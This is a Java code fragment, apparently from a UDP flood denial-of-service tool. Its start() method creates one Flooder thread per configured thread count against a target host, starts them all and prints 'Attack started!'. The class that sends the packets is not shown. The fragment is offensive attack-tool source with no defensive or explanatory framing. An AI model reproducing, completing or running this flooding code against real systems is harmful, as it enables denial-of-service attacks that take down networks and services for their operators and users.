public void start() {
        flooders = new ArrayList<>();
        System.out.println("Startiing up with "+threads+" threads. . .");
        running = true;
        System.out.println("Starting attack. . .");
        for (int i=0; i<threads; i++) {
            try {
                flooders.add(new Flooder(target));
            } catch (    UnknownHostException | SocketException ex) {
                System.out.println(ex);
                Logger.getLogger(UDPFlood.class.getName()).log(Level.SEVERE, null, ex);
            }
        }
        for (Flooder flooder : flooders) {
            flooder.start();
        }
        System.out.println("Attack started!");
    }